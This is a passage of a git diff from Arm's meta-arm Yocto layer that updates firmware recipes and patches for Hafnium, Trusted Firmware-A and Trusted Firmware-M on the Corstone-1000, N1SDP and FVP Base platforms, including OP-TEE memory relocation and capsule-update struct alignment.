-From 41f3ff2f011da69ff81234769353955e51c7e588 Mon Sep 17 00:00:00 2001
-From: Davidson K <davidson.kumaresan@arm.com>
-Date: Thu, 7 Oct 2021 12:20:08 +0530
-Subject: [PATCH] feat(vhe): set STAGE1_NS while mapping memory from NWd to SWd
-
-If the memory is shared by a VM executing in non secure world, attribute
-MM_MODE_NS had to be set while mapping that in a S-EL0 SP executing in
-secure world. It will not be needed for a S-EL1 SP since the NS bit is
-available only for the stage 1 translations and the stage 1 translations
-for a S-EL1 SP will be handled by a trusted OS running in S-EL1.
-
-Signed-off-by: Davidson K <davidson.kumaresan@arm.com>
-Change-Id: I074e2d5a50a659bd3c097d797c4901f08d210b1b
-Upstream-Status: Pending [Not submitted to upstream yet]
----
- src/ffa_memory.c | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
-
-diff --git a/src/ffa_memory.c b/src/ffa_memory.c
-index 5826cb2fdd4b..bae677633dea 100644
---- a/src/ffa_memory.c
-+++ b/src/ffa_memory.c
-@@ -2618,6 +2618,18 @@ struct ffa_value ffa_memory_retrieve(struct vm_locked to_locked,
-
- memory_to_attributes = ffa_memory_permissions_to_mode(
- permissions, share_state->sender_orig_mode);
-+
-+ if (to_locked.vm->el0_partition) {
-+ /*
-+ * Get extra mapping attributes for the given VM ID.
-+ * If the memory is shared by a VM executing in non secure
-+ * world, attribute MM_MODE_NS had to be set while mapping
-+ * that in a SP executing in secure world.
-+ */
-+ memory_to_attributes |= arch_mm_extra_attributes_from_vm(
-+ retrieve_request->sender);
-+ }
-+
- ret = ffa_retrieve_check_update(
- to_locked, memory_region->sender, share_state->fragments,
- share_state->fragment_constituent_counts,
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/hafnium-tc.inc b/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/hafnium-tc.inc
index 09de6f1e5a..4e5368eb7b 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/hafnium-tc.inc
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/hafnium/hafnium-tc.inc
@@ -3,15 +3,6 @@
COMPATIBLE_MACHINE = "(tc?)"
HAFNIUM_PLATFORM = "secure_tc"
-FILESEXTRAPATHS:prepend:tc := "${THISDIR}/files/tc:"
-
-SRC_URI:append = " \
- file://0001-feat-emulate-cntp-timer-register-accesses-using-cnth.patch \
- file://0002-feat-emulate-interrupt-controller-register-access.patch \
- file://0003-feat-vhe-set-STAGE1_NS-while-mapping-memory-from-NWd.patch \
- file://0001-feat-vhe-enable-vhe-and-disable-branch-protection-fo.patch;patchdir=project/reference \
- "
-
do_compile() {
PATH="${S}/prebuilts/linux-x64/clang/bin:$PATH" oe_runmake -C ${S}
}
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/images/corstone1000-initramfs-image.bb b/meta-arm/meta-arm-bsp/recipes-bsp/images/corstone1000-initramfs-image.bb
index 884d4b3b8d..cac3b73ca4 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/images/corstone1000-initramfs-image.bb
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/images/corstone1000-initramfs-image.bb
@@ -21,8 +21,5 @@ IMAGE_FEATURES:remove = "package-management"
# all optee packages
IMAGE_INSTALL += "optee-client"
-# external system linux userspace test application
-IMAGE_INSTALL += "corstone1000-external-sys-tests"
-
# TS PSA API tests commands for crypto, its, ps and iat
IMAGE_INSTALL += "packagegroup-ts-tests-psa"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/fvp-base/0001-fdts-fvp-base-Add-stdout-path-and-virtio-net-and-rng.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/fvp-base/0001-fdts-fvp-base-Add-stdout-path-and-virtio-net-and-rng.patch
new file mode 100644
index 0000000000..4d0019a501
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/fvp-base/0001-fdts-fvp-base-Add-stdout-path-and-virtio-net-and-rng.patch
@@ -0,0 +1,64 @@
+From b79d3cf319cc5698311ef83247110c93d3c2de2c Mon Sep 17 00:00:00 2001
+Message-Id: <b79d3cf319cc5698311ef83247110c93d3c2de2c.1695834344.git.diego.sueiro@arm.com>
+From: Diego Sueiro <diego.sueiro@arm.com>
+Date: Wed, 27 Sep 2023 18:05:26 +0100
+Subject: [PATCH] fdts/fvp-base: Add stdout-path and virtio net and rng nodes
+
+Upstream-Status: Pending
+Signed-off-by: Diego Sueiro <diego.sueiro@arm.com>
+---
+ fdts/fvp-base-psci-common.dtsi | 8 ++++++--
+ fdts/rtsm_ve-motherboard.dtsi | 12 ++++++++++++
+ 2 files changed, 18 insertions(+), 2 deletions(-)
+
+diff --git a/fdts/fvp-base-psci-common.dtsi b/fdts/fvp-base-psci-common.dtsi
+index 79cf37d3b0..b1ba5ce703 100644
+--- a/fdts/fvp-base-psci-common.dtsi
++++ b/fdts/fvp-base-psci-common.dtsi
+@@ -30,7 +30,9 @@
+ #if (ENABLE_RME == 1)
+ chosen { bootargs = "console=ttyAMA0 earlycon=pl011,0x1c090000 root=/dev/vda ip=on";};
+ #else
+- chosen {};
++ chosen {
++ stdout-path = &v2m_serial0;
++ };
+ #endif
+
+ aliases {
+@@ -243,6 +245,8 @@
+ <0 0 39 &gic 0 GIC_SPI 39 IRQ_TYPE_LEVEL_HIGH>,
+ <0 0 40 &gic 0 GIC_SPI 40 IRQ_TYPE_LEVEL_HIGH>,
+ <0 0 41 &gic 0 GIC_SPI 41 IRQ_TYPE_LEVEL_HIGH>,
+- <0 0 42 &gic 0 GIC_SPI 42 IRQ_TYPE_LEVEL_HIGH>;
++ <0 0 42 &gic 0 GIC_SPI 42 IRQ_TYPE_LEVEL_HIGH>,
++ <0 0 44 &gic 0 GIC_SPI 44 IRQ_TYPE_LEVEL_HIGH>,
++ <0 0 46 &gic 0 GIC_SPI 46 IRQ_TYPE_LEVEL_HIGH>;
+ };
+ };
+diff --git a/fdts/rtsm_ve-motherboard.dtsi b/fdts/rtsm_ve-motherboard.dtsi
+index 0a824b349a..21a083a51a 100644
+--- a/fdts/rtsm_ve-motherboard.dtsi
++++ b/fdts/rtsm_ve-motherboard.dtsi
+@@ -230,6 +230,18 @@
+ interrupts = <42>;
+ };
+
++ virtio@150000 {
++ compatible = "virtio,mmio";
++ reg = <0x150000 0x200>;
++ interrupts = <44>;
++ };
++
++ virtio@200000 {
++ compatible = "virtio,mmio";
++ reg = <0x200000 0x200>;
++ interrupts = <46>;
++ };
++
+ rtc@170000 {
+ compatible = "arm,pl031", "arm,primecell";
+ reg = <0x170000 0x1000>;
+--
+2.39.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0001-Reserve-OP-TEE-memory-from-nwd.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0001-Reserve-OP-TEE-memory-from-nwd.patch
index 2c634e350f..ce2d059589 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0001-Reserve-OP-TEE-memory-from-nwd.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0001-Reserve-OP-TEE-memory-from-nwd.patch
@@ -11,8 +11,9 @@ As a precaution, explicitly reserve this memory via NT_FW_CONFIG to
prevent the normal world from using it. This is not required on most
platforms as the Trusted OS is run from secure RAM.
-Upstream-Status: Pending (not yet submited to upstream)
+Upstream-Status: Pending (not yet submitted to upstream)
Signed-off-by: Adam Johnston <adam.johnston@arm.com>
+Signed-off-by: Mariam Elshakfy <mariam.elshakfy@arm.com>
---
plat/arm/board/n1sdp/fdts/n1sdp_nt_fw_config.dts | 12 ++++++++++++
1 file changed, 12 insertions(+)
@@ -31,9 +32,9 @@ index da5e04ddb6..b7e2d4e86f 100644
+ #size-cells = <2>;
+ ranges;
+
-+ optee@0x08000000 {
++ optee@0xDE000000 {
+ compatible = "removed-dma-pool";
-+ reg = <0x0 0x08000000 0x0 0x02000000>;
++ reg = <0x0 0xDE000000 0x0 0x02000000>;
+ no-map;
+ };
+ };
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0002-Modify-BL32-Location-to-DDR4.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0002-Modify-BL32-Location-to-DDR4.patch
new file mode 100644
index 0000000000..8b2be194d9
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0002-Modify-BL32-Location-to-DDR4.patch
@@ -0,0 +1,30 @@
+From 15dab90c3cb8e7677c4f953c2269e8ee1afa01b0 Mon Oct 2 13:45:43 2023
+From: Mariam Elshakfy <mariam.elshakfy@arm.com>
+Date: Mon, 2 Oct 2023 13:45:43 +0000
+Subject: [PATCH] Modify BL32 Location to DDR4
+
+Since OP-TEE start address is changed to run
+from DDR4, this patch changes BL32 entrypoint
+to the correct one.
+
+Upstream-Status: Pending (not yet submitted to upstream)
+Signed-off-by: Mariam Elshakfy <mariam.elshakfy@arm.com>
+---
+ plat/arm/board/n1sdp/fdts/n1sdp_optee_spmc_manifest.dts | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/plat/arm/board/n1sdp/fdts/n1sdp_optee_spmc_manifest.dts b/plat/arm/board/n1sdp/fdts/n1sdp_optee_spmc_manifest.dts
+index ed870803c..797dfe3a4 100644
+--- a/plat/arm/board/n1sdp/fdts/n1sdp_optee_spmc_manifest.dts
++++ b/plat/arm/board/n1sdp/fdts/n1sdp_optee_spmc_manifest.dts
+@@ -22,8 +22,8 @@
+ maj_ver = <0x1>;
+ min_ver = <0x0>;
+ exec_state = <0x0>;
+- load_address = <0x0 0x08000000>;
+- entrypoint = <0x0 0x08000000>;
++ load_address = <0x0 0xDE000000>;
++ entrypoint = <0x0 0xDE000000>;
+ binary_size = <0x2000000>;
+ };
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0003-Modify-SPMC-Base-to-DDR4.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0003-Modify-SPMC-Base-to-DDR4.patch
new file mode 100644
index 0000000000..9e3271708a
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0003-Modify-SPMC-Base-to-DDR4.patch
@@ -0,0 +1,28 @@
+From 9a1d11b9fbadf740c73aee6dca4fd0370b38e4a8 Tue Oct 3 13:49:13 2023
+From: Mariam Elshakfy <mariam.elshakfy@arm.com>
+Date: Tue, 3 Oct 2023 13:49:13 +0000
+Subject: [PATCH] Modify SPMC Base to DDR4
+
+Since OP-TEE start address is changed to run
+from DDR4, this patch changes SPMC base to
+the correct one.
+
+Upstream-Status: Pending (not yet submitted to upstream)
+Signed-off-by: Mariam Elshakfy <mariam.elshakfy@arm.com>
+---
+ plat/arm/board/n1sdp/include/platform_def.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/plat/arm/board/n1sdp/include/platform_def.h b/plat/arm/board/n1sdp/include/platform_def.h
+index b3799a7b2..b12c61b61 100644
+--- a/plat/arm/board/n1sdp/include/platform_def.h
++++ b/plat/arm/board/n1sdp/include/platform_def.h
+@@ -118,7 +118,7 @@
+
+ #define PLAT_ARM_MAX_BL31_SIZE UL(0x40000)
+
+-#define PLAT_ARM_SPMC_BASE U(0x08000000)
++#define PLAT_ARM_SPMC_BASE U(0xDE000000)
+ #define PLAT_ARM_SPMC_SIZE UL(0x02000000) /* 32 MB */
+
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/tf-a-tests_%.bbappend b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/tf-a-tests_%.bbappend
index 392c6090e1..074bc683f1 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/tf-a-tests_%.bbappend
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/tf-a-tests_%.bbappend
@@ -2,3 +2,5 @@
COMPATIBLE_MACHINE:corstone1000 = "corstone1000"
SRCREV:corstone1000 = "5f591f67738a1bbe6b262c53d9dad46ed8bbcd67"
+
+COMPATIBLE_MACHINE:n1sdp = "n1sdp"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-corstone1000.inc b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-corstone1000.inc
index ee0713718f..8673199d69 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-corstone1000.inc
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-corstone1000.inc
@@ -24,6 +24,16 @@ TFA_SPMD_SPM_AT_SEL2 = "0"
# BL2 loads BL32 (optee). So, optee needs to be built first:
DEPENDS += "optee-os"
+# Note: Regarding the build option: LOG_LEVEL.
+# There seems to be an issue when setting it
+# to 50 (LOG_LEVEL_VERBOSE), where the kernel
+# tee driver sends yielding requests to OP-TEE
+# at a faster pace than OP-TEE processes them,
+# as the processing time is consumed by logging
+# in TF-A. When this issue occurs, booting halts
+# as soon as optee driver starts initialization.
+# Therefore, it's not currently recommended to
+# set LOG_LEVEL to 50 at all.
EXTRA_OEMAKE:append = " \
ARCH=aarch64 \
TARGET_PLATFORM=${TFA_TARGET_PLATFORM} \
@@ -41,5 +51,4 @@ EXTRA_OEMAKE:append = " \
ERRATA_A35_855472=1 \
ROT_KEY=plat/arm/board/common/rotpk/arm_rotprivk_rsa.pem \
BL32=${RECIPE_SYSROOT}/${nonarch_base_libdir}/firmware/tee-pager_v2.bin \
- LOG_LEVEL=50 \
"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp-base.inc b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp-base.inc
new file mode 100644
index 0000000000..5fafe292d8
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp-base.inc
@@ -0,0 +1,20 @@
+# FVP specific TFA parameters
+
+#
+# Armv8-A Base Platform FVP
+#
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/files/:"
+SRC_URI:append = " file://0001-fdts-fvp-base-Add-stdout-path-and-virtio-net-and-rng.patch"
+
+COMPATIBLE_MACHINE = "fvp-base"
+TFA_PLATFORM = "fvp"
+TFA_DEBUG = "1"
+TFA_MBEDTLS = "1"
+TFA_UBOOT ?= "1"
+TFA_BUILD_TARGET = "bl1 bl2 bl31 dtbs fip"
+
+EXTRA_OEMAKE += "FVP_DT_PREFIX=fvp-base-gicv3-psci-1t"
+
+# Our fvp-base machine explicitly has v8.4 cores
+EXTRA_OEMAKE += "ARM_ARCH_MAJOR=8 ARM_ARCH_MINOR=4"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp.inc b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp.inc
deleted file mode 100644
index ca96b4484f..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-# FVP specific TFA parameters
-
-#
-# Armv8-A Base Platform FVP
-#
-
-COMPATIBLE_MACHINE = "fvp-base"
-TFA_PLATFORM = "fvp"
-TFA_DEBUG = "1"
-TFA_MBEDTLS = "1"
-TFA_UBOOT ?= "1"
-TFA_BUILD_TARGET = "bl1 bl2 bl31 dtbs fip"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-n1sdp.inc b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-n1sdp.inc
index 900decc2b9..79dc9b2bb8 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-n1sdp.inc
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-n1sdp.inc
@@ -5,18 +5,19 @@ SRCREV_tfa = "31f60a968347497562b0129134928d7ac4767710"
PV .= "+git"
COMPATIBLE_MACHINE = "n1sdp"
-TFA_PLATFORM = "n1sdp"
TFA_BUILD_TARGET = "all fip"
TFA_INSTALL_TARGET = "bl1 bl2 bl31 n1sdp-multi-chip n1sdp-single-chip n1sdp_fw_config n1sdp_tb_fw_config fip"
TFA_DEBUG = "1"
TFA_MBEDTLS = "1"
TFA_UBOOT = "0"
-TFA_UEFI = "1"
+TFA_UEFI ?= "1"
FILESEXTRAPATHS:prepend := "${THISDIR}/files/n1sdp:"
-SRC_URI:append = " \
+SRC_URI:append = " \
file://0001-Reserve-OP-TEE-memory-from-nwd.patch \
+ file://0002-Modify-BL32-Location-to-DDR4.patch \
+ file://0003-Modify-SPMC-Base-to-DDR4.patch \
"
TFA_ROT_KEY= "plat/arm/board/common/rotpk/arm_rotprivk_rsa.pem"
@@ -37,5 +38,4 @@ EXTRA_OEMAKE:append = "\
ARM_ROTPK_LOCATION="devel_rsa" \
ROT_KEY="${TFA_ROT_KEY}" \
BL32=${RECIPE_SYSROOT}/${nonarch_base_libdir}/firmware/tee-pager_v2.bin \
- BL33=${RECIPE_SYSROOT}/firmware/uefi.bin \
"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_%.bbappend b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_%.bbappend
index 7fbcd3aba0..cb482a6f4d 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_%.bbappend
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_%.bbappend
@@ -4,7 +4,7 @@ FILESEXTRAPATHS:prepend := "${THISDIR}/files/:"
MACHINE_TFA_REQUIRE ?= ""
MACHINE_TFA_REQUIRE:corstone1000 = "trusted-firmware-a-corstone1000.inc"
-MACHINE_TFA_REQUIRE:fvp-base = "trusted-firmware-a-fvp.inc"
+MACHINE_TFA_REQUIRE:fvp-base = "trusted-firmware-a-fvp-base.inc"
MACHINE_TFA_REQUIRE:juno = "trusted-firmware-a-juno.inc"
MACHINE_TFA_REQUIRE:n1sdp = "trusted-firmware-a-n1sdp.inc"
MACHINE_TFA_REQUIRE:sgi575 = "trusted-firmware-a-sgi575.inc"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0001-Platform-corstone1000-Increase-BL2-size-in-flash-lay.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0001-Platform-corstone1000-Increase-BL2-size-in-flash-lay.patch
index 98dabbe96c..4f00ea2881 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0001-Platform-corstone1000-Increase-BL2-size-in-flash-lay.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0001-Platform-corstone1000-Increase-BL2-size-in-flash-lay.patch
@@ -6,7 +6,7 @@ Subject: [PATCH] Platform: corstone1000: Increase BL2 size in flash layout
Increases BL2 size to align with the flash page size in corstone1000.
Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
+Upstream-Status: Submitted [https://review.trustedfirmware.org/c/TF-M/trusted-firmware-m/+/24103]
---
platform/ext/target/arm/corstone1000/partition/flash_layout.h | 2 +-
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0002-Platform-Corstone1000-Increase-BL2_DATA_SIZE.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0002-Platform-Corstone1000-Increase-BL2_DATA_SIZE.patch
index d348d02dbc..6bbd66fdc4 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0002-Platform-Corstone1000-Increase-BL2_DATA_SIZE.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0002-Platform-Corstone1000-Increase-BL2_DATA_SIZE.patch
@@ -7,7 +7,7 @@ Increases BL2_DATA_SIZE to accommodate the changes in
metadata_write/read.
Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
+Upstream-Status: Submitted [https://review.trustedfirmware.org/c/TF-M/trusted-firmware-m/+/24103]
---
platform/ext/target/arm/corstone1000/partition/region_defs.h | 3 ++-
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0003-Platform-Corstone1000-Calculate-the-new-CRC32-value-.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0003-Platform-Corstone1000-Calculate-the-new-CRC32-value-.patch
index bf7aba8de8..7a07c0c1ac 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0003-Platform-Corstone1000-Calculate-the-new-CRC32-value-.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0003-Platform-Corstone1000-Calculate-the-new-CRC32-value-.patch
@@ -12,7 +12,7 @@ update since the tfm bl1 does not sync metadata and nv counters in OTP during
the boot anymore.
Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
+Upstream-Status: Submitted [https://review.trustedfirmware.org/c/TF-M/trusted-firmware-m/+/24104/7]
---
.../arm/corstone1000/fw_update_agent/fwu_agent.c | 10 +++++++---
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0005-Platform-corstone1000-add-unique-firmware-GUID.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0005-Platform-corstone1000-add-unique-firmware-GUID.patch
index 2f5ba04b42..e4eba624ad 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0005-Platform-corstone1000-add-unique-firmware-GUID.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0005-Platform-corstone1000-add-unique-firmware-GUID.patch
@@ -5,8 +5,8 @@ Subject: [PATCH] Platform corstone1000 add unique firmware GUID
Add unique Corstone-1000 firmware GUID
-Upstream-Status: Pending [Not submitted to upstream yet]
Signed-off-by: Anusmita Dutta Mazumder <anusmita.duttamazumder@arm.com>
+Upstream-Status: Submitted [https://review.trustedfirmware.org/c/TF-M/trusted-firmware-m/+/24132/3]
---
.../target/arm/corstone1000/fw_update_agent/fwu_agent.c | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0006-Platform-Corstone1000-Enable-Signed-Capsule.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0006-Platform-Corstone1000-Enable-Signed-Capsule.patch
index 49c336de64..f805a44d52 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0006-Platform-Corstone1000-Enable-Signed-Capsule.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0006-Platform-Corstone1000-Enable-Signed-Capsule.patch
@@ -7,7 +7,7 @@ Enables signed capsule update and adjusts the necessary structs (fmp_payload_hea
, image_auth, etc.) to comply with the new capsule generation tool (mkeficapsule).
Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
+Upstream-Status: Submitted [https://review.trustedfirmware.org/c/TF-M/trusted-firmware-m/+/24131/3]
---
.../fw_update_agent/uefi_capsule_parser.c | 25 +++++++++++--------
.../fw_update_agent/uefi_capsule_parser.h | 2 ++
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0007-platform-corstone1000-increase-ITS-max-asset-size.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0007-platform-corstone1000-increase-ITS-max-asset-size.patch
new file mode 100644
index 0000000000..97cd14dabb
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0007-platform-corstone1000-increase-ITS-max-asset-size.patch
@@ -0,0 +1,29 @@
+From ef97f7083279565dab45a550139935d741f159a9 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Fri, 29 Sep 2023 09:57:19 +0100
+Subject: [PATCH] platform: corstone1000: Increase ITS max asset size
+​
+Increases the max asset size for ITS to enable parsec services & tests
+​
+Upstream-Status: Pending
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Signed-off-by: Vikas Katariya <vikas.katariya@arm.com>
+---
+ platform/ext/target/arm/corstone1000/config_tfm_target.h | 5 +++++
+ 1 files changed, 5 insertions(+)
+​
+diff --git a/platform/ext/target/arm/corstone1000/config_tfm_target.h b/platform/ext/target/arm/corstone1000/config_tfm_target.h
+index e968366639..3f6e8477e5 100644
+--- a/platform/ext/target/arm/corstone1000/config_tfm_target.h
++++ b/platform/ext/target/arm/corstone1000/config_tfm_target.h
+@@ -24,4 +24,9 @@
+ #undef PS_NUM_ASSETS
+ #define PS_NUM_ASSETS 20
+
++/* The maximum size of asset to be stored in the Internal Trusted Storage area. */
++#undef ITS_MAX_ASSET_SIZE
++#define ITS_MAX_ASSET_SIZE 2048
++
++
+ #endif /* __CONFIG_TFM_TARGET_H__ */
+-- \ No newline at end of file
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0008-platform-corstone1000-align-capsule-update-structs.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0008-platform-corstone1000-align-capsule-update-structs.patch
new file mode 100644
index 0000000000..7aeecfa31b
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0008-platform-corstone1000-align-capsule-update-structs.patch
@@ -0,0 +1,78 @@
+From 6807d4b30f7d4ed32d3c54dfcaf3ace63eaa4f02 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Thu, 26 Oct 2023 11:46:04 +0100
+Subject: [PATCH] platform: corstone1000: align capsule update structs
+
+U-boot mkefitool creates capsule image without packed and byte-aligned
+structs. This patch aligns the capsule-update structures and avoids
+crashes in case of unaligned pointer access.
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Pending
+---
+ .../fw_update_agent/uefi_capsule_parser.c | 14 +++++++-------
+ 1 file changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/platform/ext/target/arm/corstone1000/fw_update_agent/uefi_capsule_parser.c b/platform/ext/target/arm/corstone1000/fw_update_agent/uefi_capsule_parser.c
+index c706c040ac..9f8d12ad4e 100644
+--- a/platform/ext/target/arm/corstone1000/fw_update_agent/uefi_capsule_parser.c
++++ b/platform/ext/target/arm/corstone1000/fw_update_agent/uefi_capsule_parser.c
+@@ -34,14 +34,14 @@ typedef struct {
+ uint32_t header_size;
+ uint32_t flags;
+ uint32_t capsule_image_size;
+-} efi_capsule_header_t;
++} efi_capsule_header_t __attribute__((packed, aligned(1)));
+
+ typedef struct {
+ uint32_t version;
+ uint16_t embedded_driver_count;
+ uint16_t payload_item_count;
+ uint64_t item_offset_list[];
+-} efi_firmware_management_capsule_header_t;
++} efi_firmware_management_capsule_header_t __attribute__((packed, aligned(1)));
+
+ typedef struct {
+ uint32_t version;
+@@ -52,14 +52,14 @@ typedef struct {
+ uint32_t update_vendorcode_size;
+ uint64_t update_hardware_instance; //introduced in v2
+ uint64_t image_capsule_support; //introduced in v3
+-} efi_firmware_management_capsule_image_header_t;
++} efi_firmware_management_capsule_image_header_t __attribute__((packed, aligned(1)));
+
+ typedef struct {
+ uint32_t signature;
+ uint32_t header_size;
+ uint32_t fw_version;
+ uint32_t lowest_supported_version;
+-} fmp_payload_header_t;
++} fmp_payload_header_t __attribute__((packed, aligned(1)));
+
+ #define ANYSIZE_ARRAY 0
+
+@@ -68,18 +68,18 @@ typedef struct {
+ uint16_t wRevision;
+ uint16_t wCertificateType;
+ uint8_t bCertificate[ANYSIZE_ARRAY];
+-} WIN_CERTIFICATE;
++} WIN_CERTIFICATE __attribute__((packed, aligned(1)));
+
+ typedef struct {
+ WIN_CERTIFICATE hdr;
+ struct efi_guid cert_type;
+ uint8_t cert_data[ANYSIZE_ARRAY];
+-} win_certificate_uefi_guid_t;
++} win_certificate_uefi_guid_t __attribute__((packed, aligned(1)));
+
+ typedef struct {
+ uint64_t monotonic_count;
+ win_certificate_uefi_guid_t auth_info;
+-} efi_firmware_image_authentication_t;
++} efi_firmware_image_authentication_t __attribute__((packed, aligned(1)));
+
+
+ enum uefi_capsule_error_t uefi_capsule_retrieve_images(void* capsule_ptr,
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0009-platform-corstone1000-fix-synchronization-issue-on-o.patch b/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0009-platform-corstone1000-fix-synchronization-issue-on-o.patch
new file mode 100644
index 0000000000..be6bde6f8a
